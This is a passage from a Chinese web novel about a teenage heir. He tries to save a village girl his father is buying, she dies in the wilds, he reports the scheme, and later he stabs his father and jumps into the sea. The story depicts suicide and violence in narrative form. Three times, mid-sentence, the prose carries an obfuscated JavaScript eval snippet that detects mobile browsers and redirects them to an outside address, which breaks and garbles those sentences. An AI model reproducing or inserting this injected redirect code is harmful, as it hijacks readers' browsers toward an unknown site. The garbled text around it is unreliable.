祝琰轻装简行,只背了一个双肩包,并无其他行李。本觉得这样就能少些负担,可即便如此,他还是累得眼皮灌铅,哈欠一个接一个,打得他眼泪都快流出来了。 他想找个地方躺下,哪怕是一张硬邦邦的床,只要能让他闭眼睡一会儿就行。可一想到自己要找的人,他又不敢耽搁,生怕晚到一时半刻就来不及了。 然而,现实总是比想象更残酷。 当地人告诉他:“夜里没车,想去周边的村子,只能等明天早上的大巴!” 祝琰望着漆黑的夜空,心里一阵无力。就在这时,一群往宾馆拉客的大叔大婶便如闻到腥味的猫,呼啦啦全都围了上来。 他们有着多年的职业嗅觉,一眼就看出祝琰是只好宰的外地肥羊,浑身上下都写着“有钱”两个字。 “小伙子,住店不?便宜又干净!” “我家宾馆就在附近,包接送!” “来我家吧,有热水有WiFi,还有特殊服务哦!” 混乱中,不知从哪伸过来一只手,硬塞给他几张花花绿绿的小卡片。卡片上的照片直白火辣,文字更是露骨得让人脸红。 祝琰低头看了一眼,顿时觉得胃里一阵翻江倒海。他本就受不了人群的气味,再加上这一路的颠簸和疲惫,终于忍不住“哇”的一声吐了出来。 几个拉客的见状,纷纷后退,脸上写满了嫌弃。还有人捂着鼻子嘀咕:“这小伙子看着挺体面的,怎么这么不经事?” 与此同时,火车站的工作人员也注意到了这边的骚乱,连忙跑过来查看情况。 他们发现祝琰还是个未成年人,身边又没有监护人陪同,顿时警惕起来。 “孩子,你家长呢?怎么一个人在这儿?”工作人员问道。 祝琰用湿巾擦了擦嘴,勉强挤出一丝笑容:“我……我家长有事耽搁了,过几天来找我。” “那你有住处吗?” “我找家宾馆就行。” “未成年人没有监护人陪同,哪有正规宾馆敢让你住?” 工作人员对他的说辞半信半疑,反复询问了几番,确认他没有遭受网络诈骗,也没有被传销团伙引诱离家,却还是不能全然放心,坚持要联系他的父母。 祝琰推说时间太晚,怕打扰家人休息,答应第二天一早再联系。工作人员无奈,只好把他带到车站休息室,给他倒了杯热水,让他在这暂住一晚。 可第二天一早,当工作人员推开休息室的门时,却发现里面空无一人。桌上整整齐齐地放着一沓百元大钞,旁边还有一张字条,上面工整地写着:谢谢关照。 工作人员面面相觑,心里不禁嘀咕:这孩子,不是乱来嘛! 大巴车的颠簸比火车更甚,仿佛车轮下不是路,而是一层层凹凸不平的台阶。幸好祝琰早有准备,手里紧紧攥着几个塑料袋。车子每颠一下,他的胃就跟着翻腾一次,仿佛要把五脏六腑都吐出来。 他闭着眼,心里默念:“再忍忍,再忍忍……”可这忍字还没念完,车子又是一个急转弯,他的脑袋差点撞上身侧的车窗。 好不容易捱到午饭时间,车子终于在一片尘土飞扬中停了下来。祝琰几乎是踉跄着跳下车,深吸一口气,仿佛刚从地狱爬回人间。 他顺着路牌一路小跑,跑到村口时,已是满头大汗。 村口的小卖部门前,几个大爷大娘正围坐在一起,手里捧着冒热气的搪瓷杯,悠闲地晒着太阳聊着天。 祝琰走上前,挤出一个礼貌的笑容:“请问,花娣家怎么走?” 村民们齐刷刷地转过头,目光像探照灯一样在他身上扫来扫去。有人好奇,有人防备,还有人眯起眼仔细观瞧,恨不得把他从里到外看个透。 一个大娘放下茶杯,慢悠悠地问:“小伙子,你找谁啊?” 还没等祝琰回答,旁边一个大爷便吐出嘴里的瓜子皮,咧开嘴笑了,露出一口黄牙:“不会是来接媳妇的吧?那你可要白来一趟咯!老花看不住人,眼皮子底下就让闺女跑没影了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15095674|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 祝琰心里一紧,脱口而出:“跑了!?” 那大爷狐疑地瞥向祝琰上扬的唇角,也不知道他在开心什么,便对他冷哼一声,阴阳怪气道:“嗯,跑了。自寻死路,跑去野地里喂狼了。” 祝琰的笑容瞬间凝固,仿佛被人当头浇了一盆冰水。他张了张嘴,声音有些发抖:“什、什么意思?” 大爷没再说话,只是低头继续嗑瓜子,仿佛刚才的话不过是随口一提。可祝琰的心里却像被一根刺重重扎了一下,着实有些不安。他站在原地,手脚微微发凉,耳边的风声似乎也变得刺耳起来。 小卖部的老板娘见状叹了口气,走出门来剜了那大爷一眼,骂道:“都是没影的事,叫你这条长舌头一说,活人也要被你说死了!” 语毕,老板娘把祝琰拉到一边,低声对他说:“你别听这死老头子瞎传闲话。小花就是跟她爹吵了一架,跑出去散心了。” “我可没瞎说啊!”那大爷不服气地叫道,“小花可是留了遗书的,说他爹要逼她嫁人,她宁可去野地里喂狼!” 老板娘叉着腰反驳道:“你还不兴孩子说句气话了!?老花带人去野地里找了一上午,不是什么也没找见吗?你可倒好,像盼着小花出事似的,狗嘴里吐不出象牙来!” 这两人吵得脸红脖子粗,谁也不肯让谁。毕竟村里的规矩就是——谁先闭嘴算谁输。 恰在这时,旁边路过一个中年妇女,她牵着一只壮硕的猎犬,急匆匆往村外赶。老大爷眼尖,一把拦住了她。 “不信你问宋寡妇啊!”他急于证明自己,脸涨得通红,对祝琰喊道,“她和花家是邻居,最清楚他们家那档子事了!” 宋寡妇甩开他的手:“没工夫跟你谝闲传。” 老板娘见状,赶紧从柜台里摸出一根火腿肠,剥了皮递给猎犬,跟宋寡妇寒暄道:“你这是要带二黑找小花去啊?” 宋寡妇点点头,没多说什么,转身就要走。祝琰见状,连忙上前一步:“我能跟您一起去吗?” 宋寡妇停下脚步,上下打量了他一眼,又转头看向老板娘,态度毫不客气:“这谁啊?” 老板娘凑到她耳边,纵然有意压低声音,却压不住天生的大嗓门:“不知道啊,找我们打听小花呢,可能是夫家来接亲的吧。” 宋寡妇顿时沉了面色,憎恶地瞪视祝琰。祝琰被她看得心里发毛,连忙摆手解释:“不是,您误会了,我——” 宋寡妇没等他说完,便直接撂下一句:“不管是谁,要帮忙找人就跟我来。” 眼看她大步流星地往村外走去,祝琰愣了一下,赶紧跟上。 土路蜿蜒向前,坑坑洼洼的路面两旁散落着大大小小的碎石,时而还能看到几根干枯的草茎倔强地从缝隙里钻出来。 偶有一只麻雀从枯黄的草丛中扑棱着翅膀飞起,又迅速消失在远处的天际。小小的身影轻盈而决绝,仿佛对这片土地毫无留恋。 未来某天,那麻雀也许会被风中的雨点打落,也许会被猎人的枪口瞄准,无论如何,它总归是飞走了。 不回头地飞走了。 73. 往事-祝琰(三) 在这个小得可怜的村子里,几乎每个小孩都从父母口中听过同样一句话:“再不听话,就把你丢到野地里喂狼去!” 这句充满威慑力的警告俨然是一道祖传的咒语,从爷爷奶奶嘴里传到父母嘴里,再一字不差地灌进孩子们的耳朵里。像一圈无形的金箍,时不时勒紧一下,引发无尽的恐惧和想象。 当然,也有许多孩子产生过和祝琰同样的疑惑—— “这附近真有野狼吗?”他担忧地问。 宋寡妇听到这话,眼皮都没怎么抬,只是指着前方淡淡地说:“二十年前,我在那片野地里猎过一匹灰狼。” 那语气平淡得就像在谈论今早喝了一碗小米粥,稀松平常得让人怀疑她是不是在编故事。 紧接着,她的神色又变得有些犹豫,不太确定道:“这几年不知道还有没有了,村里人很少去那。就算有,也没人真瞧见过。” 她的声音渐渐低了下去,顿了顿,又补充说:“除了那些有心寻死的人。喝了农药,往野地里一躺,要是没人去寻,就臭在地里让活兽啃了。” 祝琰听得心里发毛,仿佛那些看不见的狼和那些无声无息的亡魂,正躲在某个角落里,冷冷地盯着他。 即便如此,他还是存着一丝侥幸,试探着问:“小花会不会没去野地,只是故意这么说,好让她家人找不到她?” 宋寡妇听了,叹一口气无奈道:“村口有个监控摄像头,拍到她昨天半夜往东去了。那边除了野地就是山,她总不能从山顶翻过去吧?” 说话间,二人已经来到了野地外围。祝琰没有追问,只是垂眸看着土路尽头高及膝盖的野草,双眉愈发紧皱起来。 风从野地的方向吹过来,带着一股潮湿的泥土味和腐烂植物的气息。祝琰忽然觉得,这片看似平静的土地下,似乎埋藏着无数不为人知的秘密。而那些秘密,正像藤蔓一样,悄无声息地缠绕着他的脚踝,试图将他拉进某个深不见底的泥潭。 二人深一脚浅一脚地走着,忽然听见远处的矮坡上有个中年男人正在高声叫骂。 “狗娘养的白眼狼,快给老子滚出来!”那嗓子定是被砂纸磨过,声音粗哑又难听。 紧接着又是一句:“你再不出来,让我找到了,老子打死你!” 祝琰皱了皱眉,低声问:“那是小花的父亲吗?” 宋寡妇头也没回,只是忿忿地甩了一句:“别管他。” 往前没走多远,猎犬二黑突然像被什么气味戳中了神经,猛地叫了起来。 它往前跳了几步,脖子上的绳子绷得笔直,宋寡妇赶紧松开手,二黑就像一支离弦的箭,“嗖”地一下窜进了密密的草丛里,转眼间就没了踪影。 约莫几分钟后,远处传来一阵撕心裂肺的犬吠声,是二黑在拼命地叫喊。 宋寡妇脸色一变,拔腿就往声源方向跑,祝琰也赶紧跟上,脚下的杂草和碎石绊得他踉踉跄跄,差点摔个狗啃泥。 二黑见主人赶来,便止了吠叫,绕着一片泥地不停转圈,嘴里发出低沉的呜咽声,催促他们快点发现什么。 泥地里斜斜向上伸着几根枯木,毫无生命力的残枝半中央的尖杈上挂着一片碎布,只有巴掌大小,已经被血浸得看不出原来的颜色。经过一夜半日的风吹,那片布已经变得干硬发褐,触目惊心。 宋寡妇盯着血布上的一块刺绣,声音颤抖着说:“这、这片补丁是我亲手给小花绣的,她、她……” 廉价的绣线密密排着,绣出来的花朵图案却透着一种笨拙的可爱,花蕊中央还绣了个笑脸,嘴角翘得老高,眼睛眯成两条弯弯的线,仿佛有说不尽的开心事。 …… 那天是怎么回到村里的,祝琰的脑袋完全被搅成了一团浆糊,什么都记不清了。 只记得宋寡妇的脸色铁青,急匆匆地跑去找驻村民警,民警又立马打电话给县里,没过多久,几辆警车就呼啸着路过村子,开往东边的野地。 现场勘验持续了一整天,发现了更多的线索——枯树尖杈上的人体皮肤组织、泥地里的血迹和一路滴至河边的血点、掉在河岸上的一只旧鞋,全都属于那个不幸的女孩。而就在那片浸血的碎衣上,还黏着几根动物毛发。经化验确认,那是当地一种野狼的腹毛。 “已经排除了他杀嫌疑,可以确定小花是意外死亡。”警察的语气十分严肃,“应该是先被野狼咬伤,逃跑过程中又被枯树绊倒,最后误打误撞掉进了河里。遗体还在打捞,但是希望不大,水流实在太急了。” 而他们村里人都知道,小花小时候被水淹过,自此就落了心病,见了河就发怵,更别提学游泳了。 “虽然这不是刑事案件,论理我不该多管闲事,但我还是想不通一个疑点。”警察对宋寡妇问道,“这两天在你家借住的那个——” “不是借住。”宋寡妇打断道,“人家给了钱的,还不少呢。” “啊呀,爱怎么说怎么说吧。”警察不耐烦地摆摆手,“我们查过了,他不仅是城里人,还是个富二代。你就不觉得奇怪吗,他怎么会认识小花?又为什么要千里迢迢跑到这来找她?” 宋寡妇撇撇嘴:“我要是问得出答案,我也能去当警察了!” 二人互呛两句,院外忽然响起一阵刺耳的汽车喇叭声,吸引了他们的目光。 宋家正对着花家,推开窗就能看到老花跑出院门,跟开车那人说了几句话。不知他们闹了什么矛盾,只听那人气急败坏地喊了几句—— “钱都收了!人交不上算怎么回事?” “姐夫,你要害死我呀!” “我不管,你把钱吐出来!吐出来!” 老花又是下跪求饶,又是指天发誓,却还是被那人揪着领子打了一顿。 警察见状连忙出门阻拦,厉喝一声让那人停手。紧接着目光落在他的车标和外地车牌上,若有所思。 次日一早,警察再次到访宋家。 “事先说明,这不是审讯。”年轻警员和颜悦色,“就是来找你了解点情况。” 祝琰点了点头,没有说话。 “再过两周,你就要开学了吧?”年轻警员并不直入主题,反而像闲聊一样,“还不打算回家?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15098889|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “再说吧。”祝琰的目光低垂着,看得出精神不太好,“我想多在外面散散心。” “跟家里人闹矛盾了?” “没有。” 两名警员早约好了一个唱红脸,一个唱白脸,现在就该换角登台了。 “知道我们为什么来找你吗!”中年警员板着脸问。 祝琰张了张嘴,没有答话。 中年警员把一张照片拍到他面前的桌子上:“认识这个人吗?” 祝琰目光微移,轻声道:“认识,是我家的司机。” “还是小花的亲舅舅。”中年警员补充道,“昨天他在门口打架斗殴,被我们带回去问话。稍微上了点压力,他就什么都招了。” 祝琰闻言,下意识抬眸与他对视,却被那双眼睛里的怒意刺得心惊。 “你不是跟他说好了,要假装不知道这事吗,那还偷偷跑到这里干什么?”中年警员故意拿话激他,“不会是来看好戏的吧?怎么,近距离品味别人的悲惨命运,能让你更——” “我只是想帮她!”祝琰果然经不得一激,被套出了话,“我只是想告诉她,别信她爸和她舅舅的说辞,别被他们骗上那辆车!” “那你为什么不报警!”中年警官继续施压,“如果你及时报警,我们就能早早赶到村里把她保护起来,阻止这起人口买卖。可是现在呢?她连命都丢了!算算时间,她在河水里挣扎的时候你在哪?是不是还在火车站的休息室里做梦呢!” 祝琰闭目垂首,说不出半个反驳的字,只觉自己也被一片名为愧疚的浪潮卷入了深海,近乎窒息。 “好了好了。”年轻警员适时插话打圆场,“小祝不也还是个孩子吗?做事哪能像成年人一样考虑周全?你现在怪他也没有意义啊。” “哼!”中年警官冷哼一声,仍旧死盯着祝琰追问,“你当时不报警,是不是怕你爸被警方调查,有坐牢的风险?” 祝琰被戳中私心,无力抬头答话,眼泪抑不住地流了下来。 年轻警员叹了口气,柔声道:“其实你纯属瞎担心,这种案子,只有知情人的口供根本定不了罪。哪怕你报了警,警方最多派几个人去敲打敲打你父亲,让他断了念想,及时收手也就没事了。可你瞒着不报警,又不能让你父亲悔改,就算你能救下一个小花,你父亲也会继续花钱去买其他女孩,对不对?你又不是救世主,难道还能见一个救一个?更何况,就眼前的这一个小花,你还……唉。” 祝琰哭得愈发痛心,可现在后悔也是无济于事。 “逝者已逝,说什么都晚了。”中年警员话锋一转,“不过,还有最后一个补救的机会。” 祝琰忙问:“怎么补救?” “据我们所知,被你父亲列入选择范围的,一共有三十个女孩?” “是。” “由那个司机负责联系的只有十个,剩下二十个女孩的信息,他一无所知。” 祝琰马上反应过来:“我知道那个名单。” 中年警员把一个空白笔记本推到他面前:“剩下的,就看你的良心了。” 74. 往事-祝琰(四) 祝琰推开家门的那一刻,屋内活像被抽干了空气,让人本能地抗拒迈入这般窒息的环境。 客厅里,祝璋眉头紧锁,急得来回踱步,皮鞋在地板上敲出令人烦躁的节奏。 “你还知道回来?”祝璋一看见他,原本担忧的眼神就变成了刀子,狠狠剜过来训斥道,“这几天你死哪儿去了?电话不接,短信不回。要不是一直没人来要赎金,我还以为你被人绑架了,差点就要报警了!” 祝琰情绪不高,随口搪塞了一句:“出去玩了几天,手机没电了。” 祝璋固然生气,却没打算发作,更没工夫辨别他这句解释的真伪,因为眼前摆着一件更重要的事。 她凑近几步,回头看了看楼上书房的方向,压低声音说:“咱家可能要出事了。” 祝琰这才抬了抬眼:“什么事?” 祝璋朝楼上书房的方向努了努嘴,眼神里满是不安。 “刚才来了两个警察,说是要找咱爸‘详聊’,态度挺强硬的。现在都快半个小时了,他们还没聊完。我刚才在门外偷听了一耳朵,好像说是咱家的司机给警方写了一份什么名单,他们要来调查核实。” 她说到这里,声音不由得更低了,几乎变成了气声,眼神也飘忽不定起来:“不会是经济犯罪吧……对了,这份名单还是外地警察移交给他们的,你不觉得这一点很奇怪,很不合逻辑吗?” 与她这般忧心忡忡相比,祝琰漠不关心的态度就显得有些反常了。 “他知道我这几天不在家吗?”祝琰顿了顿,“我是说,咱爸。” 祝璋白他一眼:“爸要是知道了,那全国的媒体都要登寻人启事了!” “哦,不知道就行。” 不等祝璋追问,祝琰便找了个旅途劳顿,需要休息的借口,径直上楼去了,留下她一个人在客厅里干瞪眼。 恰在此时,两名警察从书房里走了出来,祝琰和他们打了个照面,眼神一碰,空气里顿时多了几分微妙的味道。 祝高远站在书房门口,脸上挂着那副招牌式的商业笑容,语气也透着轻松:“小琰,替我送送警察同志。” 其中一名警察微微一笑,伸手拍了拍祝琰的肩膀:“不用送了,谢谢你。” 祝琰知道,这句“谢谢”不是客套,是在为他提供的那份名单道谢。尽管他们从未见过他,但是一定已经看过他做的笔录了。 祝琰没动,只是目送警察下了楼。随着脚步声渐行渐远,祝高远的笑容也一点点褪去,最后变成一张铁青的脸。他转身回了书房,门“砰”地一声关上,震得墙上的画框都晃了晃。 在这场没头没尾的闹剧里,唯一遭殃的就是祝高远的书房。警察走后,他在里面发了一通邪火,恨不得把手边所有东西都砸个干净。直到最后抓起一对价值连城的晚明瓷器,他才恢复理智,终于停手。 后来佣人们去收拾房间,祝琰进去瞧了一眼。 本不该在这个季节燃起的壁炉里,火苗正舔舐着一幅画。画布蜷缩在火焰中,边缘已经焦黑,火舌贪婪地吞噬着光影和线条。那是一幅肖像画,画中人的脸在火光中扭曲变形,仿佛在无声地尖叫。 接下来的日子里,祝璋提心吊胆地等了几天,却发现她预期之内的所有坏事都没发生。祝高远没有被收监调查,公司的业务也在照常进行,一切都走向了诡异的平静,仿佛那天的警察只是来串了个门而已。 至于那位杜司机,此后便像是人间蒸发了一般,再也没在祝家露过面。 祝高远也自此闭口不谈“做慈善”的事,转而把越来越重的期望堆在了祝琰肩头,恨不能三天两头去喇嘛庙捐点香火钱,祈祷举头三尺的神明保佑这根独苗长成参天大树。 可惜可叹,祝高远这次是彻底打空了算盘。 从小到大,祝琰都没让他操过什么心,成绩好,性格稳,像是天生就懂得怎么做一个合格的继承人。 可不知道怎么回事,最近这小子就像是换了个人似的,整天闷在房间里,门一关就是大半天,连句话都懒得说,有时候甚至连吃饭都免了。祝高远本以为他这是到了叛逆期,过阵子就好了,谁知事情远没有那么简单。 祝琰的成绩单一次比一次难看,无论大考小考,都是全年级倒数三名的有力争夺者。老师碍于祝高远的身份,不好讲出难听的实话,但任谁都看得出一个事实——这孩子算是废了。 祝高远每每站在书房里,盯着墙上那幅“风水大师”的赠诗,心里都不免悲慨交集。这种种迹象在他看来,真是应了“大师”所说的败家之兆。 在此之前他一直觉得,女儿再好,终究是外人,可事到如今,除了祝璋,他还能指望谁呢? 面对弟弟莫名其妙的“堕落自毁”,祝璋的心情实在矛盾,说不清是什么滋味。 一方面,她在心里暗暗松了口气。这小子现在这样,哪还有半点接班人的样子?祝高远再怎么偏心,也不可能把公司交给他。她乐得坐享其成,省得自己再费心思去争去斗。 可另一方面,她又忍不住心疼。祝琰毕竟是她从小看着长大的弟弟,小时候跟在她屁股后面跑,一口一个“姐”叫得亲热。现在看他这副模样,她也实在不好受。 画室里,祝琰像是着了魔,画笔在画布上来回飞舞,颜料溅得到处都是。他从早画到晚,累了就靠在墙角眯一会儿,醒了又继续。墙边堆满了已完成的作品,风景、静物、猫狗,什么类型都有,唯独没有肖像画。 祝璋推门进来时,差点被满地的空颜料罐绊倒。她皱了皱眉,轻声劝道:“你这样连轴转,身体吃不消的,歇会儿吧。” 祝琰头也没回,目光仿佛被钉死在画布上:“趁我还有时间,多画点给你存着。以后祝高远要是心血来潮,又让你给他‘交作业’,你直接从这里面找就行。” 祝璋忽觉心脏猛跳一下,脸上却没表现出来。她故作轻松地笑了笑:“没必要提前画这么多吧,等他提要求了再说呗。” 祝琰的画笔忽然顿住了。他转过身,嘴角扯出一抹无力的笑:“或者,你也可以换个枪手。祝高远没有艺术细胞,看不出区别的。” 祝璋沉默了。 她盯着祝琰的脸,试图从他的表情里看出点什么。可他的眼神空洞得可怕,仿佛已经对一切都无所谓了。 祝璋心里涌起一股不祥的预感。她知道,祝琰的状态不对劲,可具体哪里不对劲,她又说不上来。 画室里安静得只剩下刮刀搅动颜料的轻软声响。祝璋站了一会儿,最终什么也没说,转身离开了。关门的那一刻,她听见祝琰低声喃喃了一句:“时间不多了。” 祝璋站在门外,后背紧贴着墙,心里一阵发冷。她忽然意识到,祝琰可能不是在开玩笑。他刚才说出那句话,是不是已经动了轻生的念头?这个猜测一冒出来,她的心就揪得更紧了。 思来想去,她还是决定加以干涉,于是给祝琰找了个心理医生——裴馨。 裴馨是研究青少年心理问题的专家,在业内颇有口碑,履历漂亮得任何人也挑不出毛病,祝璋对她寄予了很高的期望。 奈何现实总是喜欢打人脸。 几次咨询下来,裴馨的脸色一次比一次难看:“小琰非常抗拒跟我沟通,不论我用什么方法,都无法取得他的信任。我想,还是应该先找到他的心结是什么。你作为他的姐姐,应该比我更了解他。” 祝璋当然知道问题出在哪儿——祝琰离家断联几天,回来后就跟变了个人似的。可那几天具体发生了什么,祝琰自己闭口不谈,别人就无法窥得端倪。 出乎祝璋意料的是,不久之后,祝琰竟然无端的“自愈”了。他开始早睡早起,调整饮食,脸上的阴霾一扫而空,笑容也多了起来,偶尔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15103562|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还会跟祝璋开几句玩笑,就像从前那样。 “姐,我不能白给你当那么多年枪手吧?你现在已经有小金库了,这些年欠我的工资,是不是应该补一补?” 祝璋听了这话,不由松一口气——他要钱,就说明他还想活着,还对这人世有点念想。 祝璋二话没说,就给他打了几百万“首付款”。 “剩下的分期给,每年打一次。” 这是她多留的一个心眼,她得防着祝琰哪天又犯浑,把这些钱一股脑挥霍光了,没了盼头,又想着寻死觅活。 不过,祝璋只预料对了一半。祝琰确实把这些钱“挥霍一空”了,但不是为了享乐,而是为了赎罪。 逝者已逝,按常理,他应该给她的家人一些补偿。可祝琰一想到她的家人,五脏六腑就泛起一阵恶心——那些人不配。 那就换种方式补偿吧,把这些钱投到真正有意义的地方去,他给它起名为“燃藜计划”。 燃藜,取自古人劝学的典故,意思是点燃藜杖,照亮夜读的书卷。他希望这笔钱能帮到更多像小花一样的女孩,让她们有机会读书,有机会改变命运。 而祝琰自己的命运将终结在什么时候,他已经早早想好了。 他受够了日复一日被后悔和愧疚折磨,受够了每晚闭上双眼,眼前都是绣在那块浸血碎布上的笑脸,更受够了那个重复过无数次的噩梦—— 小花站在画框里,笑着流下千行血泪,一遍遍地追问他:“你为什么不报警……为什么不报警……为什么不报警……” 是他害死她的。 一晃三年,祝琰十八岁的那个夏天,祝高远感受到了久违的欣慰。 “虽然没拿到藤校的offer,但这个也不错。”他鼓励似地按上祝琰的肩膀,“想要什么奖励?” “环球旅行。”祝琰说,“坐船去。” 祝高远欣然应允。祝琰紧接着又提出要求:“爸,您陪我一起去吧。” “我不行,公司太忙——” “爸。”祝琰郑重地恳求道,“就这一次。” 祝高远没奈何,深深一叹道:“那……我陪你玩三天,到时候再换船回来,怎么样?” “好。”祝琰对他露出微笑,眼底却没有笑意,“别带我姐,就咱们父子俩。” “行,都依你。” 祝高远满心欢喜,包了一艘大船。 “像不像泰坦尼克号?”祝琰半开玩笑地说。 “别说这种不吉利的话。”祝高远总是有那么多忌讳,“赶紧呸呸呸!” 祝琰笑了笑,没有应声,自顾自走到一边,背靠扶手吹起了海风。 祝高远慢悠悠跟了上来,拿起侍者端来的两杯香槟,将其中一杯递给祝琰。 祝琰没有伸手,而是向他问起:“你知道被狼咬是什么感觉吗?” 祝高远对他讲话不带称呼、不用敬语的行为有些不爽,正准备开口教训两句,却见祝琰突然从袖管里拔出一把匕首,倏地向前一刺,祝高远的右肩霎时被鲜血染红。 他不可置信地看着祝琰,喉咙一阵干涩,什么话也说不出来,连痛感都是后知后觉的。 “我不知道她的伤口在哪,不过,刚才扎这里比较顺手。”祝琰的笑容愈发灿烂,“你知道吗,我本来想扎你的心脏呢。” 可惜祝璋现在才二十二岁,如果祝高远死了,她孤木难支,无法顺利接收整个公司。 但是祝琰已经心力交瘁,没有办法再等下去了。 “你——你疯了!?”祝高远强忍剧痛,一把推开祝琰,“什么‘她’,什么‘伤口在哪’,你都胡言乱语些什么!?” “你不懂,你什么都不懂。”祝琰笑着流出眼泪,一边摇头一边向后挪步,“祝高远,你会遭报应的。” 话音落时,他纵身坠入无垠深海。 75. 往事-祝琰(完) 祝琰是在一条尚未归港的渔船上醒来的,睁眼后只觉胸口隐隐作痛,应该是有人用了很大的力气给他做过心肺复苏。 船主是一对中年夫妻,大婶见他醒来,一边搬货一边问道:“小伙子,你不是本地人吧?” 祝琰摇了摇头,艰难支起身子,扶着船身慢慢坐了起来。 大叔迈步走近,把手机塞到他手里:“脑子清楚不?还记得你家人的联系方式吗?” 祝琰依旧摇头。他不是有意隐瞒,实在是脑子里一片混沌,许多事都记不清了。 船主夫妇为了赶明天的早市,需要彻夜捕捞,时间本就紧张,便也没有多问。 谁知没过多久,大叔突然接到一个电话。刚讲两句,他的目光就落在了祝琰身上,眼神变得惊诧起来。 “怎么了?”祝琰敏锐地察觉到异常。 大叔放下电话,语气有些迟疑:“我儿子说,今天下午有个富二代在这片海上失足落水,他爸请了搜救队,正到处找呢。” 大婶闻言惊讶地看向祝琰:“不会就是你吧?” “肯定是!看你这身衣服,还有这手表,就知道是过富裕日子的人。”大叔转头对大婶说,“赶紧赶紧,把孩子给人家送回去啊!” 祝琰的脸色瞬间变得苍白,眼里满是恐惧:“别……别送我回去!” 那夫妻俩对视一眼,满脸疑惑:“为啥呀?” 祝琰蹲下身来,缩在角落只一味摇头,大脑一阵剧痛,像是有什么东西在拼命往外钻。许多零碎的画面飞速闪过,处处透着令人抗拒的沉重感。 最后,他看见自己将一把匕首刺进父亲的肩头,却记不起自己为什么要这样做。 他只知道——不能回去,这辈子都不要再回去了。 “这孩子是不是在家受啥委屈了?”大婶悄悄跟大叔耳语,“保不齐不是失足落水,是自己跳下去的。” 二人一合计,决定还是先顺着祝琰的意思来,以免他受到刺激,又要寻死觅活的。 渔船靠岸时,天已经快亮了。祝琰被安顿在海边的小仓库里,伴着满屋湿冷鱼腥味,躺在行军床上沉沉睡去。 谁知这次一觉醒来,他竟然听见了祝璋的声音。 “爸以为你死了。” 祝琰怔愣一瞬,用力眨了眨眼后循声望去,只见祝璋就站在床边不远处,高定西装裤脚被蹭上腥臭的脏污,真皮鞋面还沾着几片破碎的鱼鳞。 一旁的大婶见他神情微变,忙解释道:“不是我们不讲信用,是你姐姐自己找来的。” “我没告诉他你还活着。”祝璋一步步走近祝琰,在床边坐了下来,“跟我走,别再做傻事了。” 祝琰低垂目光不去看她:“你怎么知道我在这?” 祝璋朝他的左腕扬了扬下巴,祝琰稍显迟钝地抬起手,略加思索后错愕道:“你在我的手表里装了定位器?” “总得防着你又离家出走。”祝璋蹙起双眉,“万一死在外面了,我也好知道该去哪给你收尸。” 不等祝琰答话,祝璋便将一张银行卡塞给身旁的大婶,微笑道:“救命之恩无以为报,这是我们的一点心意。” 大婶连忙推脱:“别别别,我们救人不是图你们这个。” 祝璋拉过她的手,不容拒绝道:“您收了钱,这小子就欠我一个人情,不论他再怎么倔,也得乖乖跟我回去。可您要是不收,他就有理由不服我管,继续赖在您这了。” 这番话说得两边都有了台阶,终于各得其所。 自那时起,祝琰做了几个月的“黑户”,在祝璋安排的房子里住了下来。 从小过惯了衣来伸手饭来张口的日子,祝琰初次尝试独居生活,要学的东西实在太多了。 洗衣做饭、整理房间,这些在别人眼里再普通不过的事,到了他这儿,竟成了一门门高深莫测的学问。 可奇怪的是,这些琐碎的麻烦事,竟让他觉得有点意思。每天忙忙碌碌,时间过得飞快,脑子里那些乱七八糟的念头也被挤到了一边。 裴馨仍然定期上门,而他也不再抗拒与她沟通,奈何记忆受损,想说也说不出什么有效信息。 “这是很典型的选择性遗忘。”裴馨对他下了判断,“也许你经受了很多痛苦,或难以承受的压力,所以触发了大脑的自我保护机制,在潜意识里选择性遗忘了某些记忆。但这并不代表这些记忆彻底消失了,它们只是被你暂时‘封存’了起来,这样能让你好受些。” “我该怎么做,才能把这些记忆找回来?”祝琰问。 裴馨犹豫片刻,柔声道:“我完全理解你的心情,但是我必须提醒你,这样做有可能会让你重新经历一次巨大的痛苦,你要谨慎考虑。” 祝琰毫不犹豫:“我宁愿痛苦,也不想糊里糊涂地活一辈子。” 裴馨轻轻叹了口气,温言道:“我可以试着帮你找回记忆,但不是现在。我得对你的精神状况负责,也得对你姐姐的信任负责。所以,你自己要先努努力,尽快回归正常的生活,调整好心态。等我评估通过,确认你可以承受这些压力之后,再帮你找回记忆,好吗?” 要回归正常的生活并不容易,好在祝璋的人脉能派上用场,给他换了个全新的合法身份。 没过多久,一位名为“枕安”的新人画家便在画坛崭露头角。 许多人都以为枕安有个怪癖——从来不画肖像画。 这种猜测正确,但不完全正确。 